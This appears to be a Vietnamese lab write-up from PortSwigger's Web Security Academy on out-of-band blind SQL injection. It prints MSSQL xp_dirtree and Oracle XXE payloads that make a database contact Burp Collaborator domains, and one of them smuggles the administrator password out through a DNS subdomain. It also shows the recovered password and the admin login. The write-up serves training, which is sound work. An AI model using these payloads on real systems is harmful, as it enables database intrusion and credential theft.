Exploiting Blind SQL Injection Using Out-of-band (OAST) Techniques

Trong trường hợp ứng dụng thực thi câu truy vấn một cách bất đồng bộ thì kỹ thuật gây ra độ trễ không còn sử dụng được nữa. Khi đó, ta cần thực hiện out-of-band SQL injection bằng cách khiến cho database tương tác với một hệ thống mà ta kiểm soát. Điển hình nhất là DNS lookup bởi vì nó là cần thiết cho đa số các hệ thống.

Kỹ thuật trigger DNS query tùy thuộc vào từng loại database. Ví dụ sau là của MSSQL để thực hiện DNS lookup:

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

Payload trên sẽ khiến cho ứng dụng gửi query để tìm IP của domain 0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net. Domain này là của module Burp Suite Collaborator (có trong bản Proffessional, đóng vai trò như là một DNS server.

Lab: Blind SQL Injection with Out-of-band Interaction

Tạo ra domain từ module Collaborator:

s4xa8pdm3jy33z8swe9iwrfp9gf732rr.oastify.com

Payload sử dụng là của Oracle1:

GKJzxFOsVf6rgTwE'union select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://s4xa8pdm3jy33z8swe9iwrfp9gf732rr.oastify.com/"> %remote;]>'),'/l') FROM dual--

Note

Cần phải URL encode payload.

Đợi một chút và ta sẽ thấy DNS query.

Exploiting Blind SQL Injection Using Out-of-band (OAST) Techniques - Continued

Sau khi thực hiện thành công việc DNS lookup, ta có thể tiến hành lấy thông tin mà ta cần như sau:

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

Có thể thấy, password của administrator được chèn vào phần subdomain của domain gốc và được gửi về DNS server của Burp Suite Collaborator.

Lab: Blind SQL Injection with Out-of-band Data Exfiltration

Sử dụng payload sau (vẫn là của OracleDB):

' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(select password from users where username='administrator')||'.8foqj5o2ez9jefj87uky77q5kwqnep2e.oastify.com/"> %remote;]>'),'/l') FROM dual--

Thu được DNS query cho domain như sau:

cb5tdni9rikrvd9yvzrj.8foqj5o2ez9jefj87uky77q5kwqnep2e.oastify.com

Như vậy, password là:

cb5tdni9rikrvd9yvzrj

Đăng nhập vào tài khoản của administrator.

list
from outgoing([[Port Swigger - Out-of-Band SQL Injection]])
sort file.ctime asc

Resources

Footnotes

  1. tham khảo SQL injection cheat sheet | Web Security Academy (portswigger.net)